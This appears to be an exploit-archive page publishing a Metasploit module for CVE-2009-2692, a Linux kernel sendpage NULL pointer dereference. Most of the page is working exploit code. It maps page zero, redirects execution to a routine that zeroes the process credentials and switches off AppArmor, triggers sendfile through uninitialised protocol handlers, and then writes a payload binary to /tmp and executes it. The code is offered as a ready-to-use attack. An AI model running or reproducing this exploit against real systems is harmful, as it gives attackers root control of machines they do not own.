Twenty Year Anniversary

Linux Kernel Sendpage Local Privilege Escalation

Linux Kernel Sendpage Local Privilege Escalation
Posted Jul 19, 2012
Authored by Brad Spengler, Ramon de C Valle, Tavis Ormandy, Julien Tinnes, egypt | Site metasploit.com

The Linux kernel failed to properly initialize some entries the proto_ops struct for several protocols, leading to NULL being derefenced and used as a function pointer. By using mmap(2) to map page 0, an attacker can execute arbitrary code in the context of the kernel. Several public exploits exist for this vulnerability, including spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c. All Linux 2.4/2.6 versions since May 2001 are believed to be affected: 2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4

tags | exploit, arbitrary, kernel, protocol, ppc
systems | linux
advisories | CVE-2009-2692
MD5 | 2592f40037078ac9737526c10644b4e9

Linux Kernel Sendpage Local Privilege Escalation

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common

include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
include Msf::Exploit::Local::Unix

def initialize(info={})
super( update_info( info, {
'Name' => 'Linux Kernel Sendpage Local Privilege Escalation',
'Description' => %q{
The Linux kernel failed to properly initialize some entries the
proto_ops struct for several protocols, leading to NULL being
derefenced and used as a function pointer. By using mmap(2) to map
page 0, an attacker can execute arbitrary code in the context of the
kernel.

Several public exploits exist for this vulnerability, including
spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.

All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # discovery
'Julien Tinnes <julien at cr0.org>', # discovery
'spender', # wunderbar_emporium.tgz
'rcvalle', # sock_sendpage.c
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-2692' ],
[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
#[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => "Aug 13 2009",
}
))
end

def exploit
sc = Metasm::ELF.new(@cpu)
sc.parse %Q|
#define DEBUGGING
#define NULL ((void*)0)
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
.entrypoint
#endif
call main
;push eax
call exit
|

# Set up the same include order as the bionic build system.
# See external/source/meterpreter/source/bionic/libc/Jamfile
cparser.lexer.include_search_path = [
"external/source/meterpreter/source/bionic/libc/include/",
"external/source/meterpreter/source/bionic/libc/private/",
"external/source/meterpreter/source/bionic/libc/bionic/",
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
"external/source/meterpreter/source/bionic/libc/kernel/common/",
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
]

cparser.parse(%Q|
#define DEBUGGING
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
#ifndef __extension__
#define __extension__
#endif
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
// Doing #if on an undefined macro is fine in GCC, but a parse error in
// metasm.
#ifndef __STDC__
#define __STDC__ 0
#endif
#include <sys/types.h>
#include <sys/mman.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
/*
OpenBSD's strcmp from string/strcmp.c in bionic
*/
int
strcmp(const char *s1, const char *s2)
{
while (*s1 == *s2++)
if (*s1++ == 0)
return (0);
return (*(unsigned char *)s1 - *(unsigned char *)--s2);
}
|)

[
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
# This parses without any trouble, but actually calling perror() causes
# immediate segfaults.
#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",

# For some ungodly reason, NULL ends up being undefined when parsing this
# guy, which of course causes parse errors.
#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",

].each do |fname|
print_status("Parsing c file #{fname}")
cparser.parse(File.read(fname), fname)
end

print_status("Unix socket.h")
unix_socket_h(sc)
current_task_struct_h(sc)

case target.arch.first
when ARCH_X86
print_status("syscall wrappers")
linux_x86_syscall_wrappers(sc)
main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif

#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
PF_BLUETOOTH,
PF_APPLETALK,
PF_IPX,
PF_IRDA,
PF_X25,
PF_AX25,
PF_BLUETOOTH,
PF_PPPOX,
DOMAINS_STOP
};

int *apparmor_enabled;

int got_ring0 = 0;
unsigned long uid, gid;

static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
printf("Unable to obtain symbol listing!\n");
return 0;
}
}

ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf(" [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}

fclose(f);
return 0;
}


static void
change_cred(void)
{
unsigned int *task_struct;

task_struct = (unsigned int *)current_task_struct();

while (task_struct) {
if (task_struct[0] == uid && task_struct[1] == uid &&
task_struct[2] == uid && task_struct[3] == uid &&
task_struct[4] == gid && task_struct[5] == gid &&
task_struct[6] == gid && task_struct[7] == gid) {
task_struct[0] = task_struct[1] =
task_struct[2] = task_struct[3] =
task_struct[4] = task_struct[5] =
task_struct[6] = task_struct[7] = 0;
break;
}

task_struct++;
}

return;
}

int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{

got_ring0 = 1;
if (apparmor_enabled && *apparmor_enabled) {
*apparmor_enabled = 0;
}
change_cred();
return -1;
}

const char *shellcode =
"";
int shellcode_size = 0;

int main() {
int i = 0;
int d;
int in_fd, out_fd;
char *mapped;
char template[] = "/tmp/sendfile.XXXXXX";
int (*func)();

uid = getuid(), gid = getgid();

mapped = mmap(NULL , 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
if (mapped == NULL) {
printf("Mapped zero page!\n");
} else {
exit(1);
}

// jmp dword near [dword 0x8]
mapped[0] = '\xff';
mapped[1] = '\x25';
*(unsigned long *)&mapped[2] = 8;
*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;

for (i = 0; i < 16; i++) {
printf("\\\\x%02x", (unsigned char)mapped[i]);
}
printf("\n");

for (d = 0; domains[d] != DOMAINS_STOP; d++) {
//printf("Next domain ... ");
out_fd = socket(domains[d], SOCK_DGRAM, 0);
if (out_fd > 0) {
printf("Got domain[%d]\n", d);
break;
}
if (out_fd < 0) {
printf("out_fd: %d, Errno: %d\n", out_fd, errno);
exit(1);
}
}
unlink(template);
// Couldn't get mkstemp to work, just use open(2) for now
in_fd = open(template, O_CREAT | O_RDWR, 0777);
printf("Opened temp file: %d\n", in_fd);
unlink(template);
printf("Calling ftruncate\n");
ftruncate(in_fd, 4096);

printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
sendfile(out_fd, in_fd, NULL, 4096);
printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
printf("UID: %d GID: %d\n", getuid(), getgid());

func = mmap(NULL, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
0, 0
);
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
// weaksauce memcpy so we don't have to #include <string.h>
printf("Copying %d bytes of shellcode\n", shellcode_size);
for (i = 0; i < shellcode_size; i++) {
(char)func[i] = (char)shellcode[i];
}
printf("Calling shellcode: 0x%p\n", func);
//sigtrap();
func();

return got_ring0;
}
^
main.gsub!(/shellcode =/) do
# split the payload into 16-byte chunks and dump it out as a
# hex-escaped C string
%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse(main, "main.c")

asm = cpu.new_ccompiler(cparser, sc).compile

sc.parse asm
end

sc.assemble

begin
if sc.kind_of? Metasm::ELF
elf = sc.encode_string
else
foo = sc.encode_string
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
end
rescue
print_error "Metasm Encoding failed: #{$!}"
elog "Metasm Encoding failed: #{$!.class} : #{$!}"
elog "Call stack:\n#{$!.backtrace.join("\n")}"
return
end

#puts Rex::Text.to_hex_dump(foo)
File.open("payload.bin", "wb") {|fd|
fd.write elf
}
print_status "Writing exploit executable (#{elf.length} bytes)"
cmd_exec("rm /tmp/sendpage")
write_file("/tmp/sendpage", elf)
output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
output.each_line { |line| print_debug line.chomp }
#cmd_exec("rm /tmp/sendpage")

end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    10 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close